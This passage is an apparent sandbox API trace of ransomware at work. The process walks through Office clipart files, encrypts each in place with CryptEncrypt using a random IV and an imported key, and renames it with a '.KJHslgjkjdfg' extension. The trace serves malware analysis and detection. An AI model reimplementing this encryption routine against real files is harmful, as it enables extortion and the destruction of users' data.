ftLastAccessTime.dwLowDateTime=0x59544a90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1434, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA02439_.WMF", cAlternateFileName="")) returned 1 [0217.009] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02439_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02439_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0217.010] GetProcessHeap () returned 0x2ef0000 [0217.010] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0217.010] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0217.010] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0217.010] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0217.012] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0217.012] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0217.012] GetProcessHeap () returned 0x2ef0000 [0217.012] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0217.012] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0217.012] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0217.012] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0217.012] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0217.013] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0217.013] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0217.013] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0217.013] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0217.013] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0217.013] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0217.013] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0217.013] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1434, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1434, lpOverlapped=0x0) returned 1 [0217.014] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1440, dwBufLen=0x1440 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1440) returned 1 [0217.014] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0217.014] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1440, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1440, lpOverlapped=0x0) returned 1 [0217.014] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0217.014] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1514, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0217.014] SetEndOfFile (hFile=0x130) returned 1 [0217.017] GetProcessHeap () returned 0x2ef0000 [0217.017] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0217.017] GetProcessHeap () returned 0x2ef0000 [0217.017] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0217.017] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02439_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02439_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02439_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02439_.wmf.kjhslgjkjdfg")) returned 1 [0217.018] CloseHandle (hObject=0x130) returned 1 [0217.019] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a3bce50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3218, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA02441_.WMF", cAlternateFileName="")) returned 1 [0217.019] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02441_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02441_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0217.020] GetProcessHeap () returned 0x2ef0000 [0217.020] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0217.020] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0217.020] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0217.020] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0217.023] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0217.023] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0217.023] GetProcessHeap () returned 0x2ef0000 [0217.023] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0217.023] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0217.023] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0217.023] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0217.023] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0217.023] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0217.023] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0217.024] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0217.024] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0217.024] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0217.025] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0217.025] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0217.025] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x3218, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x3218, lpOverlapped=0x0) returned 1 [0217.026] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x3220, dwBufLen=0x3220 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x3220) returned 1 [0217.026] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0217.026] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x3220, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x3220, lpOverlapped=0x0) returned 1 [0217.026] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0217.026] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x32f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0217.026] SetEndOfFile (hFile=0x130) returned 1 [0217.029] GetProcessHeap () returned 0x2ef0000 [0217.029] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0217.029] GetProcessHeap () returned 0x2ef0000 [0217.029] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0217.029] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02441_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02441_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02441_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02441_.wmf.kjhslgjkjdfg")) returned 1 [0217.031] CloseHandle (hObject=0x130) returned 1 [0217.031] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a3bce50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x55c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA02443_.WMF", cAlternateFileName="")) returned 1 [0217.031] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02443_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02443_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0217.032] GetProcessHeap () returned 0x2ef0000 [0217.032] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0217.033] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0217.033] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0217.033] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0217.036] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0217.036] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0217.036] GetProcessHeap () returned 0x2ef0000 [0217.036] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0217.036] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0217.036] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0217.036] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0217.036] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0217.036] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0217.037] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0217.037] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0217.037] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0217.037] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0217.037] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0217.037] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0217.037] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x55c, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x55c, lpOverlapped=0x0) returned 1 [0217.037] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x560, dwBufLen=0x560 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x560) returned 1 [0217.037] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0217.037] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x560, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x560, lpOverlapped=0x0) returned 1 [0217.037] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0217.038] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x634, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0217.038] SetEndOfFile (hFile=0x130) returned 1 [0217.040] GetProcessHeap () returned 0x2ef0000 [0217.040] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0217.040] GetProcessHeap () returned 0x2ef0000 [0217.040] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0217.040] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02443_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02443_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02443_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02443_.wmf.kjhslgjkjdfg")) returned 1 [0217.041] CloseHandle (hObject=0x130) returned 1 [0217.041] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x59544a90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x88c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA02444_.WMF", cAlternateFileName="")) returned 1 [0217.041] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02444_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02444_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0217.042] GetProcessHeap () returned 0x2ef0000 [0217.042] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0217.042] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0217.042] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0217.042] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0217.045] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0217.045] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0217.045] GetProcessHeap () returned 0x2ef0000 [0217.045] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0217.045] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0217.045] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0217.045] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0217.045] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0217.045] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0217.045] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0217.045] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0217.046] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0217.046] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0217.046] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0217.046] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0217.046] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x88c, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x88c, lpOverlapped=0x0) returned 1 [0217.046] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x890, dwBufLen=0x890 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x890) returned 1 [0217.046] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0217.046] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x890, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x890, lpOverlapped=0x0) returned 1 [0217.046] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0217.046] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x964, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0217.046] SetEndOfFile (hFile=0x130) returned 1 [0217.047] GetProcessHeap () returned 0x2ef0000 [0217.047] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0217.047] GetProcessHeap () returned 0x2ef0000 [0217.047] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0217.047] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02444_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02444_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02444_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02444_.wmf.kjhslgjkjdfg")) returned 1 [0217.049] CloseHandle (hObject=0x130) returned 1 [0217.049] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a3bce50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa34, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA02446_.WMF", cAlternateFileName="")) returned 1 [0217.049] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02446_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02446_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0217.050] GetProcessHeap () returned 0x2ef0000 [0217.050] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0217.050] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0217.050] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, 